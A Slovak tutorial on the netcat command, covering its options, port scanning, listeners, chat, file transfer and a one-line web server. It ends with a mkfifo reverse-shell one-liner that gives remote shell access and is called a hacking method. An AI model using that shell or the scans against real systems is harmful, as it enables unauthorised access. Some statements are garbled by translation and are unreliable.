Príkaz netcat
je potrebný na odosielanie a prijímanie údajov pomocou protokolov TCP a UDP. Nemá veľký súbor funkcií, ale na kontrolu spojenia a jednoduché ladenie postačuje. Ako komunikovať prostredníctvom protokolu TCP? Túto otázku si kladie mnoho používateľov. V tomto článku na ňu odpovieme a uvedieme aj príklady reálneho použitia príkazu.
Príkaz netcat
(alebo nc
) je výkonný nástroj na prácu so sieťovými pripojeniami. Často ho používajú správcovia systému a vývojári na rôzne úlohy. Tu sú uvedené hlavné funkcie a vlastnosti príkazu netcat
:
Netcat
je všestranný nástroj, ktorý možno použiť v rôznych scenároch, od jednoduchého zasielania správ až po zložité sieťové operácie.
Začnime tým, že sa pozrieme na syntax a na tie najobľúbenejšie:
-6
- použitie protokolu IPv6. Predvolené nastavenie je -4 a IPv4, resp;-h
- zobrazí nápovedu so zoznamom dostupných parametrov;-i
- delay - pridá oneskorenie medzi odoslaním reťazcov alebo skenovaním portov. Nastavuje sa v sekundách;-l
- režim počúvania. Používa sa so špecifikáciou portu;-N
- uzavrieť spojenie, keď sa pri odosielaní dosiahne koniec súboru;-n
- práca s IP adresami priamo bez DNS, tiež vypnutie skenovania portov;-P
- meno_používateľa - špecifikuje meno používateľa na pripojenie k proxy serveru;-x
- address:port - zadajte adresu a port na pripojenie k proxy serveru;-p
- port - zadajte číslo portu. Vo väčšine prípadov sa port načíta bez uvedenia parametra;-U
- použiť doménový soket UNIX (na komunikáciu medzi procesmi);-u
- použiť protokol UDP, štandardne sa používa TCP;-v
- podrobný režim. Používa sa pri skenovaní;-W
number_packets - uzavrie spojenie po prijatí určitého počtu paketov;-w
timer - zapnutie časovača na obmedzenie času pripojenia. Nastavuje sa v sekundách;-z
- zakáže odosielanie dát. Používa sa počas skenovania.Príkaz má nasledujúci tvar (parametre adresa portu):
$ nc
Ďalej si povieme, ako príkaz používať.
Kontrola je hlavným spôsobom použitia nástroja netcat
. Mali by ste použiť dva parametre -vz
, uviesť adresu a port. Môžete zadať rozsah adries, ale v tomto prípade je lepšie preosiať len otvorené porty pomocou príkazugrep
. Skenujme porty adresy miestnej siete:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Rovnakým spôsobom skenujme porty UDP pridaním parametra -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Mali by ste poznať hlavný rozdiel medzi protokolmi TCP a UDP. V prípade UDP sú teda porty vždy k dispozícii.
Parameter -l
je určený na počúvanie portu. Často to stačí, ale môžete zapnúť podrobný režim:
$ nc -nlv 8080
Nezabudnite, že pri používaní protokolu TCP musí byť port voľný, inak sa zobrazí chyba Už sa používa. Nie všetky porty môžu používať bežní používatelia, napríklad port 80 (HTTP), s najväčšou pravdepodobnosťou bude obsadený iným procesom a bude vyžadovať práva superpoužívateľa.
Užitočnou schopnosťou príkazu je výmena údajov. Jednoduchým príkladom je textový chat. Ak chcete spustiť chat na jednom počítači, spustite nástroj v režime počúvania portu:
$ nc -lp 8080
Na druhom počítači budete musieť zadať adresu prvého počítača a rovnaký port. Nezabudnite tiež skontrolovať, či je port otvorený:
$ nc 0.0.0.0 8080
Takto budete môcť odosielať a prijímať správy. To znamená, že príkaz je určený na výmenu súborov. Princíp je rovnaký, len je potrebné presmerovať výstup do súboru, konkrétne do súboru paste.txt
:
$ nc -l 8080 > paste.txt
Na druhom počítači bude ako vstup slúžiť súbor copy.txt
. Nie je zbytočné použiť parameter -N
na uzavretie spojenia po prenose súboru:
$ nc -N 0.0.0.0 8080 < copy.txt
Pri prenose súborov je dôležité dodržať postupnosť, najprv otvoriť počúvanie a až potom odoslať súbor. Príkaz nc je funkčný, ale zďaleka nie najlepší spôsob prenosu súborov. Na túto úlohu existujú efektívnejšie a užitočnejšie nástroje.
Keďže príkaz NC nefunguje s protokolom TCP, umožňuje odosielanie aj prijímanie požiadaviek HTTP. Preto sa tento nástroj môže stať jednoduchým webovým serverom. Áno, týmto spôsobom nemôžete robiť nič zložitejšie ako prázdnu stránku, ale operácia vám nezaberie takmer žiadny čas a plusom je, že nemusíte inštalovať nič navyše.
Na ukážkovom formulári je odpoveď HTTP so súborom index.html.
Keď už hovoríme o samotnom np, je dobré nastaviť časovač s parametrom -w 1
, aby sa spojenie prerušilo, ak prehliadač neuskutoční:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Ak chcete získať údaje z webovej stránky, môžete vytvoriť požiadavku a odoslať ju na avizovanú adresu a port. Tento spôsob je však pomerne komplikovaný, lepšie je použiť príslušný príkaz CURL.
Na základe vyššie uvedených príkladov nebude ťažké dospieť k záveru, že príkaz umožňuje organizovať vzdialený prístup k shellu počítača. Predtým mal nástroj NC niekoľko parametrov na otvorenie prístupu k terminálu. Parameter -e
bol z utility už dávno odstránený, takže jednoduchý prístup k terminálu už nebude. Bezpečnosť samotnej aplikácie sa stala vyššou, ale stále môže pracovať v spojení s inými.
Ukážme si pripojenie pomocou pomenovaného kanála mkfifo. Najskôr začneme počúvať port na počítači, na ktorý získame prístup:
$ nc -lvnp 8080
Prejdime priamo na príkaz na otvorenie terminálu. Najprv odstránime starý pomenovaný kanál(rm /tmp/f
), vytvoríme na jeho mieste nový(mkfifo /tmp/f
), prečítame jeho obsah(cat /tmp/f
) a na jeho výstup pošleme príkaz shellu (sh -i 2>&1
). Potom zostáva spustiť nc s výstupom na náš pomenovaný kanál(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Majte na pamäti, že toto je jeden zo spôsobov hacknutia, ktorý však môže byť užitočný v prípade problémov s ssh.
Na zabránenie útoku nakonfigurujte bezpečnostnú politiku a firewall.